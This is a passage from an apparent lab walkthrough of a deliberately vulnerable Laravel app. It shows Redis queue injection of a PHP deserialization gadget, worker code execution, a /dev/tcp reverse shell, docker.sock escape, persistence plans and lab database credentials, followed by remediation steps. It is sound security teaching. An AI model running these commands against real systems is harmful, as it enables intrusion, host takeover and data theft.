sleep 1
done
echo "[-] Marker not observed after 30s. Check: docker logs dvla-horizon"
exit 1
/var/run/docker.sock. Creating a privileged container is the
host-control step, but it does not by itself give you a shell. You still have to
exec/chroot into it to establish interactive access.
Don't treat container creation as "host compromised" until that access is
demonstrated.
The docker.sock Connection: Bridging to Post 11
The Horizon container has the Docker socket mounted:
docker-compose-local.yml (line 89)volumes:
- ./:/var/www
- /var/run/docker.sock:/var/run/docker.sock # INTENTIONAL: worker also has socket (Post 11)
If the Redis injection yields a shell inside dvla-horizon and that
worker process can read/write the socket, you can talk to the Docker API. A
privileged container that mounts the host filesystem is the host-control step:
# The socket is mounted into dvla-horizon, but the worker (admin, uid 1000) cannot
# read it: `curl -s --unix-socket /var/run/docker.sock http://localhost/version`
# returns nothing from the worker. The access gate below is therefore only usable
# from a root context, in this lab the dvla-admin container (root), not the worker:
ls -la /var/run/docker.sock
# srw-rw---- 1 root 986 /var/run/docker.sock
# From dvla-admin (root), the real access gate:
docker exec dvla-admin curl -s --unix-socket /var/run/docker.sock http://localhost/version
# {"Version": "...", "ApiVersion": "...", ...}
# This is the entry point for Post 11, full host filesystem access via container escape
The file upload from Post 6 also pays off here. The staged PHP shell at
/var/www/public/pages/timestamp_shell.php is accessible from inside
the Horizon container (the application directory is volume-mounted as
./:/var/www) and can be executed directly via CLI without needing
the Nginx PHP location trick:
# From inside dvla-horizon, execute the staged shell directly:
php /var/www/public/pages/1751234567_shell.php
# (output of whatever command was embedded)
Impact
- Remote code execution as the Horizon worker's OS user (
admin, not root, in this lab) inside thedvla-horizoncontainer - Full Laravel application codebase and
.envreadable from container - Database accessible:
dvla:secret123(root alsosecret123) ondvla-db:3306 - Application Redis data fully readable and writable (cache poisoning, session forgery)
- Ability to modify application logic, inject backdoors, and pivot to other services
- Mounted ≠ accessible. The socket only helps if the worker's uid/gid can read/write it; in this lab the worker is
admin(uid 1000), so the escape typically requires a root context such asdvla-admin. - Spawn a privileged container mounting the host filesystem: full host compromise (Post 11)
- Enumerate all running containers, their secrets, and their volumes
- Move laterally to
dvla-adminanddvla-nginxcontainers - Persistent backdoor: drop SSH keys on the host, install a cron job
- Access to all host resources, including other VMs and networks
- Ability to exfiltrate data and establish long-term persistence
Attack Summary
| Phase | Action | Tools Used | Result |
|---|---|---|---|
| 1 | Reach & Enumerate | redis-cli, SSRF (Post 9) | Confirmed no Redis auth |
| 2 | Gadget Generation | phpggc (chain verified against deps) | PHP serialization chain |
| 3 | Payload Crafting | PHP, JSON | Laravel queue job |
| 4 | Redis Injection | redis-cli RPUSH | Malicious job queued |
| 5 | Reverse Shell | phpggc, nc | Worker shell in Horizon |
| 6 | Post-Exploitation | Various Linux tools | Secrets extracted |
| 7 | Docker Escape | curl, Docker API | Container escape |
| 8 | Host Compromise | SSH, systemd | Full host access |
| 9 | Lateral Movement | docker, mysql | Other containers accessed |
| 10 | Persistence | cron, systemd, SSH keys | Long-term access |
Detection & Fingerprinting
External fingerprinting of the exact framework and dependency versions is
inherently unreliable. HTTP headers such as x-powered-by are commonly
stripped, /composer.json and /vendor/... are usually not
exposed, and probing /artisan or /horizon only tells you
whether a route is reachable, not which version is installed.
An accessible /horizon dashboard can suggest that Horizon is
installed, but it does not reveal the Horizon version. Confirm exact
framework/dependency versions from the deployment itself (for example the
composer.lock in the mounted application directory, or
php artisan --version once you have any foothold).
- The queue worker reconstructs jobs with
unserialize(), which is the deserialization stage. - A Redis-backed queue becomes dangerous when the Redis service is reachable by an untrusted client and queue writes are not protected.
- The exact installed dependency versions determine which gadget chain (if any) fires.
The Fix
Defenses are ordered by priority: preventing untrusted network access comes first, followed by Redis authorization, then hardening the worker and its mounts.
Fix 1 (first-line defense)Keep Redis off the network path of untrusted clients
# docker-compose-local.yml
dvla-redis:
image: redis:7-alpine
# No "ports:" mapping. Redis is reachable only over the internal dvla-net bridge.
# Nothing outside the Docker network can reach it.
networks:
- dvla-net
The primary control is preventing untrusted network access to Redis. If Redis is genuinely isolated from untrusted clients, the risk drops to whatever can already reach that network, which is why the SSRF from Post 9 matters and why it must be fixed too.
Fix 2 (defense in depth)Enable Redis authentication / ACLs
# docker-compose-local.yml. Inject the password from an env var / secret, never
# hardcode it in the compose file:
dvla-redis:
image: redis:7-alpine
command: redis-server --requirepass "${REDIS_PASSWORD:?set REDIS_PASSWORD}"
networks:
- dvla-net
# .env, update to match (a strong random value from your secret store)
REDIS_PASSWORD=change-this-to-a-strong-random-password
For Redis 6+, prefer ACL users with per-command and per-key restrictions over a
single requirepass. Note that Laravel's Redis queue uses Lua scripts
(EVAL), lists, sorted sets, and connection commands, so a minimal ACL
needs more than plain read/write. Treat the following as a starting point and
determine the exact minimum for your deployment before relying on it:
# Example starting point (verify the exact command/key set your queue needs):
docker exec dvla-redis redis-cli ACL SETUSER laravel on >secret ~queues:* +@list +@sortedset +@generic +@scripting +@connection
Run Horizon as a non-root user and remove the Docker socket
# docker-compose-local.yml
dvla-horizon:
command: php artisan horizon
# build:
# args:
# user: app # non-root worker
# uid: 1000
volumes:
- ./:/var/www
# - /var/run/docker.sock:/var/run/docker.sock # remove: the worker has no need for it
networks:
- dvla-net
Fix 4 (network segmentation)
Separate Docker networks by concern
# docker-compose-local.yml, separate networks by concern
networks:
frontend-net: # nginx + app
driver: bridge
backend-net: # app + db + redis
driver: bridge
internal: true # no outbound internet from this network
# dvla-nginx gets only frontend-net
# dvla-admin gets both networks
# dvla-redis gets only backend-net (not reachable from nginx tier directly)
# dvla-horizon gets only backend-net
Fix 5 (hygiene)
Keep Laravel, Horizon, and dependencies patched
Update Laravel, Horizon, and every dependency regularly, and review
composer.lock for known-vulnerable packages. Patching does not remove
this class of attack by itself. It changes which gadget chains exist. But it is
part of a complete defense.
Remediation Checklist
Do not publish Redis on a host port. Keep it reachable only over the internal Docker network so untrusted clients cannot reach it directly.
Restrict Redis to the backend Docker network. Use separate networks for the frontend (Nginx + app) and backend (app + db + Redis) tiers, and mark the backend network internal: true.
Enable Redis authentication. Add a requirepass, and prefer Redis 6+ ACL users with per-command and per-key restrictions (e.g. ~queues:*). Remember Laravel's Redis queue also needs EVAL (scripting), lists, and sorted sets.
Restrict Redis commands/keys via ACLs. Note that hardening commands such as CONFIG/KEYS/FLUSHALL does not stop queue injection, since the attack only needs RPUSH to a queue key. Network isolation and queue-write authorization remain the primary controls.
Run Horizon as a non-root user. In this lab, dvla-horizon inherits the image's default non-root user (admin, uid 1000); the user: root/uid: 0 override only applies to dvla-admin. Keep the worker non-root.
Remove /var/run/docker.sock:/var/run/docker.sock from the Horizon container volumes unless there is a specific operational need. The queue worker has no reason to manage Docker containers.
Use separate Docker networks for frontend and backend tiers to limit lateral movement between services.
Keep Laravel, Horizon, and all dependencies patched. Review composer.lock for known-vulnerable packages.
Verify Redis AUTH is working after changes: docker exec dvla-redis redis-cli ping should return NOAUTH Authentication required, not PONG.
If your architecture requires processing messages across an untrusted boundary, authenticate message producers and verify message integrity before processing them. For an ordinary internal Laravel Redis queue, network isolation + Redis authorization is the more conventional fix.
Appendix: Lab Verification (Observed Output)
Every step below was run against the live lab (dvla-redis,
dvla-horizon, dvla-admin) and the output is reproduced
verbatim. Redis has no host port, so the host-side commands reach it through
docker exec dvla-redis redis-cli, the same trick Phase 10 uses. This
appendix is the evidence for the screenshots referenced throughout the walkthrough.
Phase 1, Redis is reachable and unauthenticated
$ docker exec dvla-redis redis-cli ping
PONG
$ docker exec dvla-redis redis-cli info server | grep redis_version
redis_version:7.4.9
$ docker exec dvla-redis redis-cli CONFIG GET requirepass
1) "requirepass"
2) "" <- empty string: no password
$ docker exec dvla-redis redis-cli ACL LIST
user default on nopass sanitize-payload ~* &* +@all
Phase 2, Installed dependency versions (composer.lock)
laravel/framework => v12.54.1
laravel/horizon => v5.47.2
monolog/monolog => 3.10.0
league/commonmark => 2.8.1
predis/predis => v3.5.1
# Both recommended chains fire against the worker's vendor/ tree:
$ php ~/phpggc/phpggc Monolog/RCE8 --test-payload 2>/dev/null
Trying to deserialize payload...
SUCCESS: Payload triggered ! (exit 0)
$ php ~/phpggc/phpggc Laravel/RCE22 --test-payload 2>/dev/null
Trying to deserialize payload...
SUCCESS: Payload triggered ! (exit 0)
SUCCESS under
--test-payload, but, as noted in Phase 2, it does not fire
promptly in the live worker: two consecutive injections were observed for 15s+ each
with no marker file, because the self-referential cycle defers __destruct
to the garbage collector.
Phase 3-4, Inject a job and confirm RCE
# The serialized gadget survives the JSON round-trip byte-for-byte:
$ php build_payload.php > final_payload.json
$ wc -c final_payload.json
934 final_payload.json
$ php -r '$d=json_decode(file_get_contents("final_payload.json"),true);
echo $d["data"]["command"] === file_get_contents("gadget.bin") ? "byte-identical" : "MISMATCH";'
byte-identical
$ docker exec dvla-redis redis-cli RPUSH artisanbreach_database_queues:default "$(cat final_payload.json)"
(integer) 1
$ docker exec dvla-redis redis-cli RPUSH artisanbreach_database_queues:default:notify 1
(integer) 1
# Marker file written inside the worker container proves execution:
$ docker exec dvla-horizon cat /tmp/artisanbreach-poc
uid=1000(admin) gid=1000(admin) groups=1000(admin),0(root),33(www-data)
# Horizon logs the job as FAIL (the gadget is not a real Job) even though __destruct ran:
$ docker logs dvla-horizon --tail=4
2026-08-26 20:48:48 App\Jobs\DemoJob ............................... RUNNING
2026-08-26 20:48:48 App\Jobs\DemoJob .......................... 24.81ms FAIL
Phase 10, Automated proof (marker-file script)
$ ./redis_inject.sh
[+] Checking Redis is unauthenticated...
[+] PONG (no auth)
[+] Generating gadget...
[+] Building queue payload...
[+] Injecting job...
[+] Waiting for the worker to execute the job...
[+] RCE CONFIRMED: worker executed our command:
uid=1000(admin) gid=1000(admin) groups=1000(admin),0(root),33(www-data)
Phase 5, Reverse shell (bash /dev/tcp)
# Attacker host listener (python3, because no nc on the host):
$ python3 listener.py
listening on 4444
CONNECTED from ('172.19.0.4', 52912)
# Interactive shell arrives as the worker user:
admin@d36aca935156:/var/www$ id; hostname; whoami
uid=1000(admin) gid=1000(admin) groups=1000(admin),0(root),33(www-data)
d36aca935156
admin
The docker.sock access gate
# Mounted, but not accessible to the non-root worker (admin, uid 1000):
$ docker exec dvla-horizon ls -la /var/run/docker.sock
srw-rw---- 1 root 986 0 Aug 26 20:29 /var/run/docker.sock
$ docker exec dvla-horizon sh -c 'test -r /var/run/docker.sock && echo readable || echo NOT readable'
NOT readable
# The root dvla-admin container CAN use it:
$ docker exec dvla-admin curl -s --unix-socket /var/run/docker.sock http://localhost/version
{"Platform":{"Name":"Docker Engine - Community"},"Version":"29.7.2","ApiVersion":"1.55", ...}
Database reachability (via PHP pdo_mysql from the worker)
$ docker exec dvla-horizon php -r 'new PDO("mysql:host=dvla-db;dbname=dvla","dvla","secret123"); echo "dvla:secret123 OK\n";'
dvla:secret123 OK
$ docker exec dvla-horizon php -r 'new PDO("mysql:host=dvla-db","root","secret123"); echo "root:secret123 OK\n";'
root:secret123 OK
The main point is..
Redis was designed to run inside a trusted network. Its documentation says this explicitly and has said it for years. The assumption is that only trusted clients reach port 6379, so authentication is optional in development and commonly skipped even in production because "it's behind the firewall anyway."
In this lab, Redis is not even published on the host. It's internal-only. The
attack still lands because the app and Horizon containers share a flat
dvla-net bridge with Redis, and the SSRF in Post 9 reaches
dvla-redis:6379 directly. The queue injection variant is dangerous
precisely because it chains several reasonable-looking decisions into RCE: storing
jobs in Redis, deserializing PHP objects to reconstruct job state, and trusting that
anything in the queue was put there by the application. None of these is obviously
wrong in isolation. But together, on a Redis instance writable by an untrusted
client and with a compatible gadget chain available, they hand an attacker code
execution at the Horizon worker's privilege level.
Laravel 12 is the target environment in this lab, not the vulnerability itself. The
finding is the chain of conditions: unauthenticated Redis write access, an
attacker-controlled queue, a Horizon worker consuming that queue, PHP
deserialization of the payload, and a gadget chain that matches the installed
dependency tree. In ArtisanBreach, if the Horizon worker can also reach the mounted
docker.sock, that worker-level RCE can be escalated to Docker-host
administrative control. Post 11 covers that step. Everything from Post 1 through
Post 9 has been building toward this moment.